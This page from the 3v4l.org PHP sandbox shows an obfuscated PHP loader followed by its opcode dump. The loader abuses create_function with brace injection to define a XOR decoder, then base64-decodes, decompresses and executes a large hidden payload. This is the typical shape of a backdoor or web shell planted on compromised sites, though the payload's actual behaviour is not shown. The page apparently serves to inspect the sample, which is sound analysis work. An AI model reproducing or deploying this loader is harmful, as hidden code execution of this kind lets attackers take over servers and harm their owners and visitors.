3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sqjyfefj=array('$sqjyfefj[0]=$sqjyfefj[3];$ebkbpjxg=ebkbpjxg(2,13);$sqjyfefj[0]=$ebkbpjxg($sqjyfefj[2]);','$sqjyfefj[2]=gzuncompress(ebkbpjxg(704,2142));','b2hrYX5RamRkcGNje2FuXmV5ekdhanlsf0dzSmZmZH51YGlUc2p1ant6c0ZGRE9VTV9cSV5OSUxWVEpLW2ZDTmZqY2trbHlld2xod2xtY2FzIW5vIkRVQTYhJz1jc2lkXXNrLXN2YSY1JDY9PiVrdTtkOGtTR25kfnR2bFZKeWNYantjfmFhZWB4aXVkO3J3cGhqImtwZ2Z6PGxwb3dpeWwsaHpnc2F2JG5vd2V1c0hlaWJhSltDXkp1WmhtaXFvUXFBOCA4U3NuRkpbQ15GSV9YQmxmWmZgbmRrLzVPb3N7aGFsImRga2B5JWpkfG51bGVocyliaWFQVWFQSkZbXFJEVENKTnZzUmlRTEVHSVVPRVdVQlNaUlxAXkNfRFFJQkc9ZFEta3J4NnJ4ZkdHLXt6fjYvdmR4bCpwZ2BpSWMte3p+Ni9ZSFM1cmtgcUZhelZCR3JFZU9WSlpeRFBOVkJHSlBTLXt6fld2d397YXhlT397aFhhYHtLb292YmdwYkZkRnV/Om12b2RueGwocHllfm9mfGFXSm1idX86bXZvZG54bChmaGp5a3pKS0hhZGBlbXxlT29/ak95d2tKLGFlLGN4aWZZYG5kay81T29ze2hhbGNYRUNXZ3VWVXFrSltDXkZUQ05'.'ER0ZCTEdFUktyY0prZD45b2tmdWVibWoreX5lRmc9OWVrZHJ4OHtoaEtrR2A7OWh2c3Fnf3tiK2pmfFdvQ28teGcjem5+bX9/KXVheS57P3F0RG93dCRkKkNyRWMkeyp+cXE2eyt6YlAkeSpMY2FyQkFhemViRk5mRm1zVWthfnpnTHF2M3Bpa2p7Y34jLj9jdFl3WmwkeCpofmJRYXNLbnFqY2FpdVZ6V1V6QiR4Km1sR2F0Umd3cm1laUdvJHgqfXIhWF9CSCg0JzlwZnFKYGR6IyEtTGh6k5pWYG76QwTnLRjNNZDUQ/chnWGW+AZ5Pt2yQE2Dn1SWOwx6giln9ZskVLfyR7fZtxpobv4SsLzzqVpc0uZG6WX9dGfhXlCbhTwc8EgDt0wV0YNv+oPzVu+1xUD0IRa7dChHipcrUli6wnvfW3lZMNTf2O4Cb5+ucU7uW7A6x3hUNXzip5ZlRx3vH9myUfEgw5Gct/e4Ld8O19YxepDrlk7+XBQ5BKW3KJWJH7eCdLE7j4qw2nrN/zqNWYA9rIF2sh3U/ZIk3O3RJknl73C99bjOaoqMZ9z0m3oo1pl3PPn/GZ8kj/P6tx0dn5oGbr3f1Ok0Q4RDG9sAV3IRmgcZYiStf1qoOOWAJ9v1GmYz/79tEaR4jmtsC5YsMZLSnMgzgtzHJ9nXfYTeLDIhVRQf/UQqnWrVjKB8j3Zs+DaVnFiE9nMBTht2AwL+gHmiz9Vvc/ekVr26mGxLqMk3vAuFh7b448/ydW3BvdTrizFXsS/N1AX5By0eT7PW/6w96PEOyFIxkFxv65S/Jf7Y3sI5yiu/Nk9k1+3opXayIHQ28STBKy'.'Dz9b1evY2ZbxnVaME5PGHdNQ8aTm/giLifZTfndu256XoueT41Z7CZRS3jo+tLnN6W83ZoadnpsObNcOSt0gHhcS/IeFW3P96ng87J0f7Z9SFt7FKS7ZH/2hS1gR3jVGjKcQXlyqDSaoeXFs09CNQ518d87NhdvGWyuFrmkqZ5DGtA5O32/3Vbm32EpLirgnMhToP2QCBtVMqdhRAwo6V2rzmEPxVwNT4ykr15sVpenLCtepnA1W77d7dPEWOL9AVJEXv2Ekn17UUg0V6qY1504rxQ7ughlKtYUCCei1PO6uHbJKM6M5UPFMB84JaZTiQJAJlSrtbPr0BszIyxkn08U8JcmDyi00YOk8DAWUHgSsks2yups0+PyHnDEzl81XIHLM0IAtXv8shCioIRXffZfsDHeeE0Q4c9IuZebERLGSL48Y2dzQMeEqysf0vgn4K62Z1ddR/nnzhAVAymJXjg5hZUvWNtLgKDq0PLkGsOnVmPOLnOHoli3q3SDGFC0YHQvIhQU5tm3cpYZyC1LNEc4WVdCvlRgNHhmvRQnCMDyqVwR4Jte'.'mDIuJdfe4GU7pvOVxGSugTd4Z/BTIYsENYpckMhykcBGcPFRfKjXxuEpgdSJIb1vTy28uK4UGrnK/PoNWp3+Ohx6YG0ZjwQXGAddqHSda0HCbu2NR/xB/Er0xTu8CQmItT0K0T8px0IdA6D0PjM69fGbd3njYcC6fs+76EKZmSPsGUQYdQ+qm1dtmWVQeFU6Hw/UmBbwFyYvXKWqNmDdEhSk6hyz+XLtV4jChGTmhEXeLuAEbTExP5/i3+AaY04AXIxEDNH53CugjhNYU3B+9xaaS/nczMb00LeEiHjE2AcIBUrRSGrhKdhA3MofFotJw5lY0gsFG/N9qPBNRV4p+5miuLvaioBiTtG/78XptQqIxQuBYN6HgcxpQk7Q2zR4EHFqazZJMCNJ+nF6B4BjzngkLKHw03pk2u8AOU/MGBV7uHx4jatX+Ow7dDLrSud3aQZ0CzoiE7PySvyU9DWzzRN47nojEhSmSKksyukd5HvysjMJ/VMslB1wWqXKHjvo1Wlb1m8pbMuogO4SqCc5FZj50bPwfnFyGjSFt8o4C3rzZpmbogG8KV+Xx07BUWt1jshhLbzsYBJ5r5s4hTN77eKZnY+v++9P43vXDWfIZG4gnbOB2HivpIcCyDflIzaRSkViJYPkV1FdM9PTyqyBShQoMucU0w8zXcS9WexVhK21ow6XTVocjRZzBa6/44Hx73kiYEYJNd7U2el9mhTNM39zYZCtX/5eOeXWSGoffJuUWRbytxgUsE9laOEUneDHSw6UQN+Dob4adR7edwc1zhxs0i3HqFUlI4VW+M+h2RVhGc6GfDKW3IhimKxAmMw1udnxmhS1ouZ7H7fehwtXgzFcW4z'.'tC33xaFxlWBAa2QkYPe4Se0jQHZBonMWf4JMHYAICU/EauNicQU+3PGpy9d3ZzDwrEKeOFUEgTuoRPQSjSCdS/2XW/OWR5qGsCpwmxph/iMwqJcROR7Y8gEGbj/lwDEEItZmxcki6zkaCNEN2Q76WsH/tWEJpuliLyIRTR4OrE5ECN6dl6YJIdvDed7iYyEi6HNZIOHCCrpAAAnDZSHQIh16OoD0NrM1LSfHMNUBYWttzFbfN3+p8bpMzgpuZYPTkoOzBRbMvdS4bePqxAkmw0yVhe26hU6iZZ/Tw5q1kpJJFDDjqE6FrzP7FzmXtAD7PJdopYVtOUrL4iosrp+Og8mb70SwlJC6N+V+ZUsxlxPQYkjSV/I1ozkxEgM4iMmX1yPFcDuIBFNZnhir3W1eA/H6eQTgK1bTZjpYenOuxtb3USRZxtJq/SpsQxNrND0AxuE86Hx/MBPp9Szk/v39O5MRE887VnM1TcnaDjzZsOQsxhBTkvyTuzzymdnaaoooSh8tfBoJNq7TjIH52sb6BvWY/STg+d6GF9PrRun6MHFtc5NHaZ9C+As03/JF1brpp8nQUgPSM5+rchrBrkcMY2Su/kir/5ZuSWVmLQDB/T9pzbMfRte8NFe7MmyRCcxR2aqAWD2OYTYTz1PUW2qbEU/lvvGdpXbkovfm4vQiS1mFq8DKrQ8uF+LChenS7V1ZQIkfAoeO1keRrb9MgIRtCfidWfiC/XlFhtj/JsUYjKbx629ZwSfbSStU2HloeLd2baYz5iJ/+uqrEqLYqGUTGoaFLVv76JGIRxyoDRs6HHXqSFgoiAbRdFm1MxLFrA4kNpKUGjxB1hC7jtkQWOLp8mSyF57cuQB3BfXsFz8u4VE=',"/*\x60\x6e\x64\x6b\x2f\x35\x4f\x6f\x73\x7b\x68\x61\x6c*/");$evadvfl='create_';if(function_exists($evadvfl.='function')&&!function_exists('ebkbpjxg')){ $evadvfl('','}function ebkbpjxg($s,$d){global $sqjyfefj;$p=$sqjyfefj;$z=str_pad("",$d,"bownyapkvxgeiiqn");$c=str_repeat("\x1f",$d);$m=str_repeat("\xe0",$d);$a = substr($p[0],$s,$d);return(($a^$z)&$c)|($a&$m);}{');for($pc=-1;++$pc<3;){$evadvfl('','}'.$sqjyfefj[$pc].'{');}};unset($sqjyfefj);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 7, Position 2 = 12
Branch analysis from position: 7
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 29
Branch analysis from position: 13
1 jumps found. (Code = 42) Position 1 = 26
Branch analysis from position: 26
2 jumps found. (Code = 44) Position 1 = 29, Position 2 = 19
Branch analysis from position: 29
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 19
2 jumps found. (Code = 44) Position 1 = 29, Position 2 = 19
Branch analysis from position: 29
Branch analysis from position: 19
Branch analysis from position: 29
Branch analysis from position: 12
filename:       /in/qGkpp
function name:  (null)
number of ops:  31
compiled vars:  !0 = $sqjyfefj, !1 = $evadvfl, !2 = $pc
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
          1        ASSIGN                                                   !1, 'create_'
          2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ_EX                                          ~7      $6, ->12
          7    >   INIT_FCALL                                               'function_exists'
          8        SEND_VAL                                                 'ebkbpjxg'
          9        DO_ICALL                                         $8      
         10        BOOL_NOT                                         ~9      $8
         11        BOOL                                             ~7      ~9
         12    > > JMPZ                                                     ~7, ->29
         13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        SEND_VAL_EX                                              '%7Dfunction+ebkbpjxg%28%24s%2C%24d%29%7Bglobal+%24sqjyfefj%3B%24p%3D%24sqjyfefj%3B%24z%3Dstr_pad%28%22%22%2C%24d%2C%22bownyapkvxgeiiqn%22%29%3B%24c%3Dstr_repeat%28%22%5Cx1f%22%2C%24d%29%3B%24m%3Dstr_repeat%28%22%5Cxe0%22%2C%24d%29%3B%24a+%3D+substr%28%24p%5B0%5D%2C%24s%2C%24d%29%3Breturn%28%28%24a%5E%24z%29%26%24c%29%7C%28%24a%26%24m%29%3B%7D%7B'
         16        DO_FCALL                                      0          
         17        ASSIGN                                                   !2, -1
         18      > JMP                                                      ->26
         19    >   INIT_DYNAMIC_CALL                                        !1
         20        SEND_VAL_EX                                              ''
         21        FETCH_DIM_R                                      ~12     !0, !2
         22        CONCAT                                           ~13     '%7D', ~12
         23        CONCAT                                           ~14     ~13, '%7B'
         24        SEND_VAL_EX                                              ~14
         25        DO_FCALL                                      0          
         26    >   PRE_INC                                          ~16     !2
         27        IS_SMALLER                                               ~16, 3
         28      > JMPNZ                                                    ~17, ->19
         29    >   UNSET_CV                                                 !0
         30      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.29 ms | 1396 KiB | 15 Q